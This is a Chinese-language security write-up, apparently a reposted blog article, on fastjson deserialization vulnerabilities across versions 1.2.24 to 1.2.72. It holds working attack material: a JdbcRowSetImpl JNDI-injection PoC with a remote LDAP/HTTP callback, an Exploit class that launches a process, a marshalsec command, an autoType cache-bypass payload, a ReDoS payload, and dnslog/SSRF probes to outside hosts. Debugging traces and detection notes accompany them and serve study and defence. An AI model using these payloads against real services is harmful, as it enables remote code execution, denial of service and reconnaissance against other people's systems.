fastjson反序列化攻防
<=1.2.24 JNDI注入利用链(com.sun.rowset.JdbcRowSetImpl)
按照这张图里的描述:

使用JdbcRowSetImpl类作为目标类,根据PoC中指定的属性dataSourceName和autoCommit,到时候应该会调用setDataSourceName。
PoC内容如下:
package com.cqq;import com.alibaba.fastjson.JSON;
import com.cqq.User;public class PoC {public static void main(String[] args) {String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"," +"\"dataSourceName\":\"ldap://192.168.85.129:1389/Exploit\",\"autoCommit\":true}";JSON.parse(payload);}
}
当然事先得先准备好两点:
1、待被远程下载的Exploit类;
import java.io.IOException;
import java.util.Hashtable;
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;public class Exploit implements ObjectFactory {public Exploit() {}public Object getObjectInstance(Object var1, Name var2, Context var3, Hashtable<?, ?> var4) {exec("xterm");return null;}public static String exec(String var0) {try {Runtime.getRuntime().exec("calc.exe");} catch (IOException var2) {var2.printStackTrace();}return "";}public static void main(String[] var0) {exec("123");}
}
2、LDAP服务;
使用marshalsec生成:
java -cp ./target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.85.129:8090/#Exploit
表示在默认端口1389创建了LDAP服务,其内容通过http访问http://192.168.85.129:8090/#Exploit这个url获取到。
LDAP服务,和HTTP下载来的Exploit都是攻击者可控的,在客户端执行的。PoC是在fastjson开启服务的主机执行的。但是本质上这里模拟一个fastjson服务,其payload的json字符串是用户可控的。
查看一下调用栈:
Exception in thread "main" com.alibaba.fastjson.JSONException: set property error, autoCommitat com.alibaba.fastjson.parser.deserializer.FieldDeserializer.setValue(FieldDeserializer.java:136)at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:593)at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.parseRest(JavaBeanDeserializer.java:922)at com.alibaba.fastjson.parser.deserializer.FastjsonASMDeserializer_1_JdbcRowSetImpl.deserialze(Unknown Source)at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:184)at com.alibaba.fastjson.parser.DefaultJSONParser.parseObject(DefaultJSONParser.java:368)at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1327)at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1293)at com.alibaba.fastjson.JSON.parse(JSON.java:137)at com.alibaba.fastjson.JSON.parse(JSON.java:128)at com.cqq.PoC.main(PoC.java:10)
Caused by: java.lang.reflect.InvocationTargetExceptionat sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)at java.lang.reflect.Method.invoke(Method.java:498)at com.alibaba.fastjson.parser.deserializer.FieldDeserializer.setValue(FieldDeserializer.java:96)... 10 more
Caused by: java.lang.NullPointerExceptionat com.sun.rowset.JdbcRowSetImpl.connect(JdbcRowSetImpl.java:630)at com.sun.rowset.JdbcRowSetImpl.setAutoCommit(JdbcRowSetImpl.java:4067)... 15 more
演示
整理的流程是:
那么攻击者的流程就是这样的。攻击者准备rmi服务和web服务,将rmi绝对路径注入到lookup方法中,受害者JNDI接口会指向攻击者控制rmi服务器,JNDI接口向攻击者控制web服务器远程加载恶意代码,执行构造函数形成RCE。
来源:http://xxlegend.com/2017/12/06/%E5%9F%BA%E4%BA%8EJdbcRowSetImpl%E7%9A%84Fastjson%20RCE%20PoC%E6%9E%84%E9%80%A0%E4%B8%8E%E5%88%86%E6%9E%90/
在攻击者可控的客户端准备的条件:
1、待被远程下载的Exploit类

2、LDAP服务;

最终,在服务端执行PoC的Demo:

让我们去目标类下断点,进行调试。
不知道是哪里触发的,索性在两个方法setDataSourceName和setAutoCommit都下断点:
调试发现,首先是设置DataSourceName,
C:\Program Files\Java\jdk1.8.0_172\jre\lib\rt.jar!\com\sun\rowset\JdbcRowSetImpl#setDataSourceName

继续跟其父类javax.sql.rowset.BaseRowSet的setDataSourceName方法:

这个方法的注释如下:
/**
* Sets theDataSourcename property for thisRowSet
* object to the given logical name and sets thisRowSetobject’s
* Url property tonull. The name must have been bound to a
*DataSourceobject in a JNDI naming service so that an
* application can do a lookup using that name to retrieve the
*DataSourceobject bound to it. TheDataSource
* object can then be used to establish a connection to the data source it
* represents.
*
* Users should set either the Url property or the dataSourceName property.
* If both properties are set, the driver will use the property set most recently.
*
* @param name aStringobject with the name that can be supplied
* to a naming service based on JNDI technology to retrieve the
*DataSourceobject that can be used to get a connection;
* may benullbut must not be an empty string
* @throws SQLException if an empty string is provided as theDataSource
* name
* @see #getDataSourceName
*/
然后是设置autoCommit为true:
在com/alibaba/fastjson/parser/deserializer/FieldDeserializer#setValue

通过反射调用了com.sun.rowset.JdbcRowSetImpl.setAutoCommit(boolean)方法,并传入参数true。
然后跟进这个setAutoCommit方法:
C:\Program Files\Java\jdk1.8.0_172\jre\lib\rt.jar!\com\sun\rowset\JdbcRowSetImpl#setAutoCommit

可以看到这个类是jdk自带的。
这里从业务逻辑上看应该是设置SQL执行的自动提交?但是需要先拿到一个连接(connection),若没有连接,则需要先建立一个连接,即
this.conn = this.connect();
继续跟进:
C:\Program Files\Java\jdk1.8.0_172\jre\lib\rt.jar!\com\sun\rowset\JdbcRowSetImpl#connect
看这个条件判断:
else if (this.getDataSourceName() != null)
因为我们之前已经通过setDataSourceName设置了dataSourceName的值,所以这里可以进入这个条件分支:

关键都在这个lookup里面了。
然后就是对这个url:
ldap://192.168.85.129:1389/Exploit
一步一步的lookup了。接下来说一下lookup的细节,
比如
C:\Program Files\Java\jdk1.8.0_172\jre\lib\rt.jar!\com\sun\jndi\url\ldap\ldapURLContext#lookup
里要判断这个url里有没有?,即是否有查询的部分:
这里提供的url是没有查询部分的,所以继续调用其父类的lookup:

跟进C:\Program Files\Java\jdk1.8.0_172\jre\lib\rt.jar!\com\sun\jndi\toolkit\url\GenericURLContext#lookup

这里通过var2.getRemainingName()得到/后面的部分,即向控制的服务器上获取Exploit.class文件。
最终一路lookup,到了这里:
javax/naming/spi/DirectoryManager.getObjectInstance()

然后就进入Exploit#getObjectInstance


完整调用栈如下:
exec:21, Exploit
getObjectInstance:12, Exploit
getObjectInstance:194, DirectoryManager (javax.naming.spi)
c_lookup:1085, LdapCtx (com.sun.jndi.ldap)
p_lookup:542, ComponentContext (com.sun.jndi.toolkit.ctx)
lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:94, ldapURLContext (com.sun.jndi.url.ldap)
lookup:417, InitialContext (javax.naming)
connect:624, JdbcRowSetImpl (com.sun.rowset)
setAutoCommit:4067, JdbcRowSetImpl (com.sun.rowset)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
setValue:96, FieldDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:593, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseRest:922, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:-1, FastjsonASMDeserializer_1_JdbcRowSetImpl (com.alibaba.fastjson.parser.deserializer)
deserialze:184, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:368, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1293, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:137, JSON (com.alibaba.fastjson)
parse:128, JSON (com.alibaba.fastjson)
main:10, PoC (com.cqq)
tips:
虽然大多数情况是把Exploit代码和PoC放到同一台主机上,这里我放到了网络上另外一台,但是这样做的情况是,如果不在IDEA中设置Exploit的源码或者class,IDEA是跟不到Exploit中的,所以需要手动设置一下。
fastjson漏洞检测
fastjson漏洞的白盒检测,可以查看pom.xml文件中fastjson的版本,判断是否低于某个版本
fastjson漏洞的黑盒检测,在低版本下(默认开启@type功能),只需要构造一个以往被利用的poc即可。比如可以通过这个ssrf:

poc是:
{"@type":"javax.swing.JEditorPane","page":"http://127.0.0.1:1389?a=1&b=22222"}
可以去javax/swing/JEditorPane.java#setPage下断点,没跟到具体发起请求的点,但是可以猜到应该是根据这个url去发起请求了。

参考:
- https://github.com/threedr3am/learnjavabug/blob/master/fastjson/src/main/java/com/threedr3am/bug/fastjson/ssrf/JREJeditorPaneSSRFPoc.java
具体参考:https://github.com/alibaba/fastjson/blob/f164d8519ff061baac6f8d58a5a1b88c2afab00e/src/main/java/com/alibaba/fastjson/parser/ParserConfig.java
在com/alibaba/fastjson/parser/ParserConfig类中有一个变量AUTO_SUPPORT,这个值默认是false。

再参考如何打开autoTypeSupport功能(可以设置JVM启动参数,也可以在代码中手动打开):

参考:https://github.com/alibaba/fastjson/wiki/enable_autotype
1.2.25的全局配置:
https://github.com/alibaba/fastjson/blob/1.2.25/src/main/java/com/alibaba/fastjson/parser/ParserConfig.java

1.2.24的全局配置:
https://github.com/alibaba/fastjson/blob/1.2.24/src/main/java/com/alibaba/fastjson/parser/ParserConfig.java
没有跟autotype相关的东西。

所以<= 1.2.24版本默认开启了autotype,是存在严重漏洞的;
而1.2.25及之后的版本,需要判断这个开关是否被手动打开,具体代码为:
ParserConfig.global.setAutoTypeSupport(true);
ParserConfig.getGlobalInstance().setAutoTypeSupport(true); //跟上面一样的效果,同样是拿到ParserConfig类的静态成员变量:一个ParserConfig>对象

在1.2.25版本下,不手动打开这个开关,再使用之前的payload,结果出现异常:

响应的包里也有:

杂
具体的检查是否支持AutoType的代码在:
C:\Users\Administrator.m2\repository\com\alibaba\fastjson\1.2.25\fastjson-1.2.25.jar!\com\alibaba\fastjson\parser\DefaultJSONParser.class#parseObject(Map object, Object fieldName)

(PS:到时候在这里下断点就可以了,不用一直parseObject)
可以看到这里是true,所以应该是支持的。

然后进行黑白名单的判断:

AcceptList为空:

可以看到有这些DenyList:

比如我们这次的payload是com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
当循环到com.sun这个开头的类名时 ,就抛出了JSONException:autoType is not support.


用同样的环境测试这个Gadget:javax.swing.JEditorPane,发现是可以SSRF的,所以这里autoType是支持的,只是匹配到了黑名单。而我们的这个Gadget:javax.swing.JEditorPane不在黑名单里,所以可以利用成功。

<= 1.2.47版本的autoType被绕过
影响范围
1.2.25 <= fastjson <= 1.2.47
根据这篇文章说是这样的:
1.2.33 - 1.2.47 无条件利用
1.2.25 - 1.2.32 未开启 AutoType 可以利用,开启反而不能 (默认关闭)
1.2.24 无条件利用
因为
cache 机制是从 1.2.25 添加的
漏洞复现
原理参考:
https://www.kingkk.com/2019/07/Fastjson%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E-1-2-24-1-2-48/
据说是可以通过TypeUtils这类的缓存


参考:https://rmb122.com/2020/02/01/fastjson-RCE-%E5%88%86%E6%9E%90/
感谢java-sec-code项目,编辑pom.xml,将fastjson版本修改为1.2.47之后重新编译,使用这个payload测试:
{"111": {"@type": "java.lang.Class", "val": "com.sun.rowset.JdbcRowSetImpl"}, "222": {"@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://192.168.170.1:1389/Exploit", "autoCommit": true}
}
如果192.168.170.1:1389收到TCP连接了,则证明存在漏洞。

这个poc先通过这个json:
"a": {"@type": "java.lang.Class", "val": "com.sun.rowset.JdbcRowSetImpl"},
将com.sun.rowset.JdbcRowSetImpl放到那个mapping(缓存)里,


第一次到
public static Class<?> loadClass(String className, ClassLoader classLoader, boolean cache)
的调用栈:
loadClass:1210, TypeUtils (com.alibaba.fastjson.util)
loadClass:1206, TypeUtils (com.alibaba.fastjson.util)
deserialze:335, MiscCodec (com.alibaba.fastjson.serializer)
parseObject:384, DefaultJSONParser (com.alibaba.fastjson.parser)
parseObject:544, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1356, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1322, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:152, JSON (com.alibaba.fastjson)
parse:162, JSON (com.alibaba.fastjson)
parse:131, JSON (com.alibaba.fastjson)
parseObject:223, JSON (com.alibaba.fastjson)
Deserialize:25, Fastjson (org.joychou.controller)
mappings原本是98,

放进去之后变成了99,

第一个关键节点是:
com/alibaba/fastjson/parser/DefaultJSONParser#parseObject(final Map object, Object fieldName)
clazz = config.checkAutoType(typeName, null, lexer.getFeatures());
这里的typeName是java.lang.Class,

这里的typeName是我们传进去的@type设置的值:java.lang.Class
可以看到有很多关卡都会有检查,
一旦匹配到,则抛出异常:
throw new JSONException("autoType is not support. " + typeName);
不过我们的这个payload没有触发异常,到了下一个关键点:

跟进到:com/alibaba/fastjson/util/TypeUtils#getClassFromMapping(String className)

第一次使用111的时候,没从getClassFromMapping(String className)拿到clazz,但是从下面的
clazz = deserializers.findClass(typeName);
拿到了clazz,

com/alibaba/fastjson/parser/DefaultJSONParser#
尝试对提供对java.lang.Class进行反序列化:



判断这个clazz是否为日期、IP地址、语言、URI、URL、UUID、File、时区等类型,直到判断这个是一个java.lang.Class类型,则使用
TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader());



(注:这个缓存很强劲,质押JVM启动这个fastjson,一旦有一次请求把这个类加入到缓存之后,就会一直保持那个类,也就是从原来到98到99个mapping)
com/alibaba/fastjson/parser/DefaultJSONParser#parseObject(final Map object, Object fieldName)
=>
L316: clazz = config.checkAutoType(typeName, null, lexer.getFeatures()); //返回到clazz为payload中指定的java.lang.Class
L384: Object obj = deserializer.deserialze(this, clazz, fieldName); //clazz: java.lang.Class, filedName: 111com/alibaba/fastjson/serializer/MiscCodec#deserialze(DefaultJSONParser parser, Type clazz, Object fieldName)=>L237: objVal = parser.parse(); // 拿到objVal的值为: "com.sun.rowset.JdbcRowSetImpl"L335: return (T) TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader()); // strVal为com.sun.rowset.JdbcRowSetImplcom/alibaba/fastjson/util/TypeUtils#loadClass(String className, ClassLoader classLoader, boolean cache)=> // 不以'['开头,不以"L"开头且";"结尾L1240: clazz = contextClassLoader.loadClass(className); //通过TomcatEmbeddedWebappClassLoader加载com.sun.rowset.JdbcRowSetImpl类,得到clazz为com.sun.rowset.JdbcRowSetImpl.classL1242: mappings.put(className, clazz); // 加入到mappings缓存中返回com.sun.rowset.JdbcRowSetImpl.class
// 继续解析222
由于之前mappings已经被添加了这个类,现在可以直接从mappings中取得这个类了。
其实即便第一次发:
{"111": {"@type": "java.lang.Class", "val": "com.sun.rowset.JdbcRowSetImpl"}
}
第二次发:
{"@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://192.168.170.1:1389/Exploit", "autoCommit": true
}

也是可以的。只要启动基于fastjson的WEB服务没有重启就行。
不过如果没有铺垫111的这个请求,正常情况下是:

< 1.2.66的正则表达式解析DOS
参考:
https://b1ue.cn/archives/314.html
PoC:
{"regex":{"$ref":"$[blue rlike '^[a-zA-Z]+(([a-zA-Z ])?[a-zA-Z]*)*$']"},"blue":"aaaaaaaaaaaaaaaaaaaaaaaaaaaa!"
}
或者:
{"regex":{"$ref":"$[\blue = /\^[a-zA-Z]+(([a-zA-Z ])?[a-zA-Z]*)*$/]"},"blue":"aaaaaaaaaaaaaaaaaaaaaaaaaaaa!"
}
<= 1.2.67的绕过autotype进行域名解析
参考:
- 通过dnslog探测fastjson的几种方法
- 发现最新版本1.2.67依然可以通过dnslog判断后端是否使用fastjson
试了几种格式:涉及到几个类:java.net.Inet4Address、java.net.Inet6Address、java.net.URL、java.net.InetSocketAddress
{"@type":"java.net.Inet4Address","val":"e3ifk6b20aw3bj7i539idx5vum0co1.burpcollaborator.net"}
{{"@type":"java.net.URL","val":"http://fastjson.433f419eb1a8717d6a35.d.zhack.ca/ssrf"}:"x"}
{"@type":"java.net.InetSocketAddress"{"address":,"val":"fastjson2.433f419eb1a8717d6a35.d.zhack.ca"}}
<= 1.2.68
jdbc的SSRF:
com.mysql.cj.jdbc.ConnectionImplimplements JdbcConnectionextends java.sql.Connectionextends AutoCloseable
参考:
- Fastjson-1-2-68版本反序列化漏洞分析篇
- Mysql JDBC driver source code analysis (socket connection creation) three
Demo

其实<= 1.2.72都可以用这个dns解析(默认配置)。
只不过1.2.68之后引入了safeMode功能,只要开启这个功能(默认不开启),就不能解析dns了。
参考:
https://github.com/alibaba/fastjson/wiki/fastjson_safemode




1.2.48之后的payload
参考:
https://github.com/welk1n/FastjsonPocs
更详细的fastjson利用历史参考:
- Fastjson 反序列化漏洞史
- Fastjson反序列化RCE核心-四个关键点分析
parseObject与parse的区别
parseObject函数会主动去调getters和setters,而parse函数则会调用这个对象的setters和符合条件的getters。
那么也就意味着,parseObject比parse函数多了一个调用所有getters的利用点。

参考:
浅谈fastjson反序列化漏洞
fastjson获取精确版本
参考:
- 渗透测试中获取 fastjson 精确版本号的方法
条件是需要业务代码没有处理好异常信息。比如没有捕获异常,或者即便捕获了异常,但是将异常信息作为字符串返回了给客户端。
{"@type": "java.lang.AutoCloseable"
即便捕获了异常,但是将异常信息作为字符串返回了给客户端

对应代码:
@RequestMapping(value = "/deserialize", method = {RequestMethod.POST })@ResponseBodypublic static String Deserialize(@RequestBody String params) {try {JSONObject ob = JSON.parseObject(params);return ob.toString();}catch (Exception e){e.printStackTrace();return e.toString(); // 将异常信息作为HTTP响应的一部分返回了}
没有捕获异常,于是异常被抛出返回给客户端

对应代码:
@RequestMapping(value = "/deserializeE2", method = {RequestMethod.POST })@ResponseBodypublic static String DeserializeE2(@RequestBody String params) {JSONObject ob = JSON.parseObject(params);return ob.toString();// 并不捕获异常}
fastjson抛出的异常被捕获,且不返回异常信息

对应代码:
@RequestMapping(value = "/deserializeE1", method = {RequestMethod.POST })@ResponseBodypublic static String DeserializeE1(@RequestBody String params) {try {JSONObject ob = JSON.parseObject(params);return ob.toString();}catch (Exception e){e.printStackTrace();// 并不返回异常信息}return "";}
本文来自互联网用户投稿,文章观点仅代表作者本人,不代表本站立场,不承担相关法律责任。如若转载,请注明出处。 如若内容造成侵权/违法违规/事实不符,请点击【内容举报】进行投诉反馈!
